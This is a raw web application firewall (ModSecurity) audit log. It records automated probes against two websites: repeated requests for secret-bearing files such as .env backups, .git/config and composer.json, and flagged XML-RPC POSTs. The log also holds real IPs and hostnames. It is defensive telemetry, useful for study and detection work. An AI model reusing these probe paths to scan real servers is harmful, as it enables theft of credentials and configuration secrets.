X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --63045365-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2b622954c6eaa594de3474dd40ab7ab61750012623; expires=Sun, 15 Jun 2025 19:37:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --63045365-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/front-empathy/.env"] [unique_id "aE8Szy7MaF0j8lD2KTIPxwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012623320206 675744 (- - -) Stopwatch2: 1750012623320206 675744; combined=1914, p1=405, p2=1406, p3=0, p4=0, p5=102, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --63045365-Z-- --cfd56e70-A-- [16/Jun/2025:00:07:07.081951 +0530] aE8S0qzY0BMZNmg1_r130AAAAAc 185.177.72.210 34972 127.0.0.1 7081 --cfd56e70-B-- GET /packages/plugin-qiankun/examples/master/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cfd56e70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=626ba04e4e81fc86ea2a90d51b8b1c941750012626; expires=Sun, 15 Jun 2025 19:37:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cfd56e70-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/packages/plugin-qiankun/examples/master/.env"] [unique_id "aE8S0qzY0BMZNmg1_r130AAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012626407948 674078 (- - -) Stopwatch2: 1750012626407948 674078; combined=1868, p1=476, p2=1280, p3=0, p4=0, p5=111, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cfd56e70-Z-- --b0912b25-A-- [16/Jun/2025:00:07:12.627502 +0530] aE8S18eCLQXSV5p8-VEbqgAAAAA 185.177.72.210 36012 127.0.0.1 7081 --b0912b25-B-- GET /.composer/composer.json HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b0912b25-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d7d741845c0265d0ed905698a5c71f6e1750012632; expires=Sun, 15 Jun 2025 19:37:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b0912b25-H-- Message: Warning. Matched phrase "/composer.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.composer/composer.json"] [unique_id "aE8S18eCLQXSV5p8-VEbqgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012631970231 657336 (- - -) Stopwatch2: 1750012631970231 657336; combined=1925, p1=376, p2=1451, p3=0, p4=0, p5=97, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b0912b25-Z-- --d9446249-A-- [16/Jun/2025:00:07:19.300595 +0530] aE8S3kaE4AHnWcPpQgmeNAAAAAo 128.199.112.101 36246 127.0.0.1 7081 --d9446249-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d9446249-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d9446249-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (48+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8S3kaE4AHnWcPpQgmeNAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012638380614 920037 (- - -) Stopwatch2: 1750012638380614 920037; combined=2469, p1=383, p2=1635, p3=47, p4=67, p5=219, sr=106, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d9446249-Z-- --5f359778-A-- [16/Jun/2025:00:08:07.414755 +0530] aE8TDnJNE8RtYqH8JCs7ngAAAAI 185.177.72.210 34682 127.0.0.1 7081 --5f359778-B-- GET /:5601/.env.back HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5f359778-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c70d6e25d20d558a4e97bfe3317d0c2d1750012687; expires=Sun, 15 Jun 2025 19:38:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5f359778-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.back"] [unique_id "aE8TDnJNE8RtYqH8JCs7ngAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012686697242 717577 (- - -) Stopwatch2: 1750012686697242 717577; combined=1856, p1=370, p2=1385, p3=0, p4=0, p5=100, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5f359778-Z-- --c1960c0b-A-- [16/Jun/2025:00:08:09.692126 +0530] aE8TEMeCLQXSV5p8-VEbzAAAAAA 185.177.72.210 34890 127.0.0.1 7081 --c1960c0b-B-- GET /backups/.git/config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c1960c0b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=25d7c87a24109e93a76a8838da5d8efe1750012689; expires=Sun, 15 Jun 2025 19:38:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c1960c0b-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.git/config"] [unique_id "aE8TEMeCLQXSV5p8-VEbzAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012688974094 718110 (- - -) Stopwatch2: 1750012688974094 718110; combined=1722, p1=315, p2=1307, p3=0, p4=0, p5=99, sr=77, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c1960c0b-Z-- --760b2f53-A-- [16/Jun/2025:00:08:17.758421 +0530] aE8TGazY0BMZNmg1_r13_QAAAAc 185.177.72.210 42626 127.0.0.1 7081 --760b2f53-B-- GET /:5000/.env.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --760b2f53-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=95c600bfe6dfedfbca68d94dbdab72451750012697; expires=Sun, 15 Jun 2025 19:38:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --760b2f53-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.1"] [unique_id "aE8TGazY0BMZNmg1_r13_QAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012697068269 690215 (- - -) Stopwatch2: 1750012697068269 690215; combined=1788, p1=472, p2=1219, p3=0, p4=0, p5=97, sr=135, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --760b2f53-Z-- --0067f624-A-- [16/Jun/2025:00:08:19.615327 +0530] aE8TGq7jjZllglTPVFaIjgAAAAk 128.199.112.101 42718 127.0.0.1 7081 --0067f624-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0067f624-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0067f624-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8TGq7jjZllglTPVFaIjgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012698668706 946706 (- - -) Stopwatch2: 1750012698668706 946706; combined=2235, p1=373, p2=1355, p3=55, p4=74, p5=238, sr=104, sw=140, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0067f624-Z-- --658d9f7e-A-- [16/Jun/2025:00:08:23.733062 +0530] aE8THy7MaF0j8lD2KTIP9gAAAAM 185.177.72.210 48356 127.0.0.1 7081 --658d9f7e-B-- GET /:8080/backup/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --658d9f7e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d822c94265241da5a69832004f27c5ed1750012703; expires=Sun, 15 Jun 2025 19:38:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --658d9f7e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/backup/.env"] [unique_id "aE8THy7MaF0j8lD2KTIP9gAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012703069971 663155 (- - -) Stopwatch2: 1750012703069971 663155; combined=1741, p1=403, p2=1237, p3=0, p4=0, p5=100, sr=124, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --658d9f7e-Z-- --3c552b69-A-- [16/Jun/2025:00:08:31.062382 +0530] aE8TJmuCR1auBLUP7R-khwAAAAg 185.177.72.210 52290 127.0.0.1 7081 --3c552b69-B-- GET /bootstrap/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3c552b69-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=133c7200896db4218ba079d3133e2b5f1750012710; expires=Sun, 15 Jun 2025 19:38:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3c552b69-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bootstrap/.env"] [unique_id "aE8TJmuCR1auBLUP7R-khwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012710401716 660730 (- - -) Stopwatch2: 1750012710401716 660730; combined=1928, p1=381, p2=1455, p3=0, p4=0, p5=91, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3c552b69-Z-- --caeff471-A-- [16/Jun/2025:00:09:19.997051 +0530] aE8TV6SMmxZaGWa7XLL4JgAAAAY 128.199.112.101 48114 127.0.0.1 7081 --caeff471-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --caeff471-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --caeff471-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8TV6SMmxZaGWa7XLL4JgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012759027113 970005 (- - -) Stopwatch2: 1750012759027113 970005; combined=2135, p1=356, p2=1343, p3=49, p4=70, p5=193, sr=102, sw=124, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --caeff471-Z-- --dd2fb140-A-- [16/Jun/2025:00:09:32.036523 +0530] aE8TY6zY0BMZNmg1_r14OQAAAAc 185.177.72.210 49608 127.0.0.1 7081 --dd2fb140-B-- GET /api/.env.back HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dd2fb140-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4a7e7823883aa2de8d2255b4c44b1e8f1750012771; expires=Sun, 15 Jun 2025 19:39:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dd2fb140-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/api/.env.back"] [unique_id "aE8TY6zY0BMZNmg1_r14OQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012771309462 727138 (- - -) Stopwatch2: 1750012771309462 727138; combined=2033, p1=422, p2=1488, p3=0, p4=0, p5=123, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dd2fb140-Z-- --b17bcc78-A-- [16/Jun/2025:00:09:33.042672 +0530] aE8TZChnDkBlcF0fkxMGUQAAAAQ 185.177.72.210 49688 127.0.0.1 7081 --b17bcc78-B-- GET /:5601/.c9/metadata/ambienzinhoironment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b17bcc78-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=001e323f6f040c25ec41c1ec67b75efe1750012772; expires=Sun, 15 Jun 2025 19:39:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b17bcc78-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.c9/metadata/ambienzinhoironment/.env"] [unique_id "aE8TZChnDkBlcF0fkxMGUQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750012772358214 684533 (- - -) Stopwatch2: 1750012772358214 684533; combined=2054, p1=400, p2=1545, p3=0, p4=0, p5=108, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b17bcc78-Z-- --493df751-A-- [16/Jun/2025:00:09:35.230110 +0530] aE8TZseCLQXSV5p8-VEcDgAAAAA 185.177.72.210 49748 127.0.0.1 7081 --493df751-B-- GET /packages/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --493df751-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=08efcf5885999d09c6239cf657d145361750012775; expires=Sun, 15 Jun 2025 19:39:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --493df751-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/packages/frontend/.env"] [unique_id "aE8TZseCLQXSV5p8-VEcDgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 